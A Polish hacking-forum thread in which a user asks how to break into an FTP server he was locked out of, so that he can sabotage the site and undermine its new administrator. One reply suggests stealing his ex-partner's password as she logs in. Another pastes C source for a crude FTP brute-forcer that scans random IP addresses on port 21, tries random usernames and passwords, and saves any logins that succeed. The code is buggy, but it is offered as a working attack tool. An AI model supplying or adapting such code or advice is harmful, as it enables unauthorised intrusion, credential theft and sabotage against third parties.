Włam na FTP

Error21

Użytkownik
Dołączył
Lipiec 12, 2010
Posty
2
VitaYcie!

Jestem tu od paru minut, wiec nie zapoznałem się dobrze z działem.
Mam też nadzieje, ze w dobrym dziale piszę...

Mam pytanie i wielką prośbę do Was, Hackerów.
Jestem założycielem radia internetewego. Radio to zapisane jest na (teraz bedzie śmiesznie) moją dziewczynę!
Pomysł i radio jest jej, a ja je tylko zbudowałem. Teraz tak:
Poniewaz oprócz niej, radiem dowodzi również jej siostra (której baaaardzo nie lubie)(ona mnie też :p ) pomiędzy nami w trójką, są ciągłę awantury o...
o radio! Jednej podoba sie tak, drugiej podoba sie inaczej, a ja jeszcze mówie, ze jeszcze inaczej, bo za dużo jest na stronie głównej i strona się wiesza!

Radio robiłem od paru dobrych miesiecy i niestety własnie przez to radio bardzo sie pokłocilismy i obrazilismy sie na siebie na smierc i życie.

Po tym incydencie, moja dziewczyna odsunęła mnie od pracy nad radiem. Zmieniła wszystkie hasła do wszystkich serwerów FTP i znalazła innego (nie powiem kogo, bo nie lubie obrażać) który już taki niby expert...

Bardzo nie lubie tego kolesia, i poprostu (teraz troche na smutno) zrobiło mi się przykro, że do całego radia które zbudowałem od podstaw, nie mam żadnego dostępu... nie moge nawet kurna newsa dodać. < poniosło :( >


No i teraz nadszedł czas na prośbę do Was.

Powiedzcię mi proszę, bo wiem ze się da, jak włamać się na serwer FTP znając tylko nazwe serwera i port a nie znając hasła.

Znając te hasło wejde spowrotem na serwer i będę usuwał po linijkach kodu, lub poprostu zmienie chmody, przez co nie bedzie dodstepu do niektorych pikow. Planuje w ten sposob pozbyć się tamtego nowego, poprzez to, ze moje dziewczyna stwierdzi, ze nic co on robi nie działa i w ten sposob, powie:
"Damianku, zajmij się tym spowrotem, bo on nic nie umię" :D

Wiem ze to jest świńskie co planuje, ale... :(
ja chcę tylko wrócić do tego co kocham!

Pomóżcie mi proszę.
Bardzo proszę i dziękuję!

P.s link do radia w moim profilu.
 
Ostatnia edycja:

Szepard

Użytkownik
Dołączył
Lipiec 13, 2010
Posty
2
Sam atak na ftp może być trudny, bądź długi, spróbuj wykraść hasła gdy będzie się logowała (o sposobach poczytaj).
Następnym razem się zabezpiecz ^_^
 

jaba

Użytkownik
Dołączył
Lipiec 22, 2010
Posty
1
its from http://www.opensc.ws
Kod:
/*thanks for filter and a59 for helping me in some functions
 *[email protected]
 */
#include <stdio.h>
#include <windows.h>
#include <stdlib.h>
#include <winsock.h>
#include <time.h>
#define N 7//just change this and u ill change hole thing
#define buffer_size 200//this will be malloced l8er on
#define FWRITE "D:\\test\\idsandpw.txt"//here we change to ur drive where u want to save stuff inside :P
#define FLOGS "D:\\test\\LOGS.txt"//here is the logs of the stuff
#define how_many_tries 2//this how many tries if it connect like if tries == 5 then it reahed its limit
#pragma comment(lib,"wsock32.lib")
#define FILE_NAME "D:\\test\\ip_genrating.txt"//here where we change the file name as we want 2
FILE *fp;
FILE *writer;
//prototypes
void string_genrator(char *buffer);
void ip_writing_func(int howmany);
void ip_reader();
void func(char *buffer,char *other);
int brute_it(char *site);
void write_tofile(char *IA,char *PA);
void trier_func(SOCKET FTP);
void write_stuff(char *stuff,char *ip);
 void ip_writing_func(int howmany)
{
   int i;
   int num1=0,num2=0,num3=0,num4=0;
   FILE *fp;
   fp=fopen(FILE_NAME,"w");
   if(fp==NULL)
   {
      puts("Couldnt open file exting fast");
      fclose(fp);
      exit(0);
   }
   for(i=0;i<howmany;i++)
   {
      num1= rand() % 255;
      num2= rand() % 255;
      num3= rand() % 255;
      num4= rand() % 255;
      fprintf(fp,"%d.%d.%d.%d\n",num1+1,num2,num3,num4);
      Sleep(1000);
   }
   fclose(fp);
}
void func(char *buffer,char *other)
{
   int i;
   for(i=0;other[i]=buffer[i];i++);
}
void ip_reader()
{
   char *c;
   char buffer[200];
   char *saver;
   int x;
   fp=fopen(FILE_NAME,"r");
   while(fgets(buffer,sizeof buffer,fp)!=NULL){
      c=strchr(buffer,'\n');
      if(c)
      {
         saver=malloc(sizeof (char) *100);
         func(buffer,saver);
         puts(saver);
         x=brute_it(saver);
         switch(x)
         {
         case 0:
            write_stuff("this ip is non valid",saver);
            free(saver);
            continue;

         case 1:
            write_stuff("this ip cracked chk the ID&PW txt",saver);
            continue;
            
            
            

         case -1:
            write_stuff("PW WRONG",saver);
            continue;
            
            free(saver);
            

         default:
            continue;
            free(saver);
            puts("This is default");
            

         }
         if(saver==NULL)
         {
            free(saver);
            exit(0);
         }

      }
      else {puts("WTF"); free(saver);}
   }
}
void write_tofile(char *IA,char *PA)
{
   fp=fopen(FWRITE,"a");
   if(fp==NULL){
      MessageBox(NULL,"dude we failed hardly","Failure func",MB_OK);
      fclose(fp);
      exit(0);
   }
   fprintf(fp,"ID: %s\n",IA);
   fprintf(fp,"PW: %s\n",PA);
}
void write_stuff(char *stuff,char *ip)
{
   writer=fopen(FLOGS,"aw");
   fprintf(writer,"%s %s\n",stuff,ip);
   fclose(writer);
}
void int_asker(char *question,int *num)
{
   fputs(question,stdout);
   scanf("%d",&*num);
   fflush(stdin);
}
void Send_PACKET(SOCKET sock,char *packets, ... )//by a59 with lil touch by me
{
   char buffer[300];
   
   va_list varagums;
   
   va_start( varagums, packets );
   
   vsprintf( buffer, packets, varagums );
   
   va_end(varagums);
   
   send(sock,buffer,strlen(buffer),0);
}
int brute_it(char *site)
{
      
      SOCKADDR_IN serverinfo;
      char *buffer; memory i think
      SOCKET FTP;
      FTP=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
      if(FTP==INVALID_SOCKET){
         MessageBox(NULL,"SOCKET Failed ill exit now","Exiting func",MB_OK);
         exit(0);
      }
      serverinfo.sin_family=AF_INET;

      serverinfo.sin_addr.s_addr=inet_addr(site);

      serverinfo.sin_port=htons(21);

      if(connect(FTP,(SOCKADDR*)&serverinfo,sizeof serverinfo)==SOCKET_ERROR){
         MessageBox(NULL,"The IP is invalid","non valid ip",MB_OK);
         return 0;
      }
      
      else{

         int x;
         char ID[N];
         char PW[N];
         buffer=malloc(sizeof (char)* buffer_size);
         for(;;){
            
            string_genrator(ID);
            string_genrator(PW);
            x=recv(FTP,buffer,buffer_size,0);
            Send_PACKET(FTP,"USER %s\r\n",ID);
            x=recv(FTP,buffer,buffer_size,0);
            Send_PACKET(FTP,"PASS %s\r\n",PW);
            x=recv(FTP,buffer,buffer_size,0);
            if(strstr(buffer,"230"))
            {
               MessageBox(NULL,"USER LOGED IN","cool for user",MB_OK);
               write_tofile(ID,PW);
               free(buffer);
               
               return 1;

            }
            else {
               trier_func(FTP);
               free(buffer);
               MessageBox(NULL,"PW WRONG","Wronger pw",MB_OK);
               free(buffer);
               return -1;}
            
         }
      }
}
void string_genrator(char *buffer)
{
   
   int c;
   size_t i;
   srand(time(NULL));
   for(i = 0; i < N; i++) {
      c = 'a' + rand() % ('z' - 'a' + 1);//by filter
      buffer[i] = c;
   }
   buffer[i]=0;
   i++;
}
void trier_func(SOCKET FTP)
{
   int x,i;
   char buffer[100];
   char *ID;
   char *PW;
   x=0;
   ID=malloc(sizeof(char)*100);
    PW=malloc(sizeof(char)*100);
   string_genrator(ID);
   string_genrator(PW);
   Send_PACKET(FTP,"USER %s\r\n",ID);
   i=recv(FTP,buffer,sizeof buffer,0);
   Send_PACKET(FTP,"PASS %s\r\n",PW);
   i=recv(FTP,buffer,sizeof buffer,0);
    for(;;)
    {
      if(strstr(buffer,"230"))
      {
         write_tofile(ID,PW);
         free(ID);
         free(PW);
         break;
      }

      else
      {
         free(ID);
         free(PW);
         ID=malloc(sizeof(char)*100);
            PW=malloc(sizeof(char)*100);
         Send_PACKET(FTP,"USER %s\r\n",ID);
         i=recv(FTP,buffer,sizeof buffer,0);
         Send_PACKET(FTP,"PASS %s\r\n",PW);
         i=recv(FTP,buffer,sizeof buffer,0);
         x++;
      }
      if(x==how_many_tries){
         puts("you have reached your limit thanks alot");
         break;
      }
   }
}
int main(void)
{
   int howmany;
   WSADATA data;
   WSAStartup(MAKEWORD(2,2),&data);
   int_asker("Please enter how many ips we want so we do the bruting",&howmany);
   ip_writing_func(howmany);
   ip_reader();
   return 0;
}
 
Do góry Bottom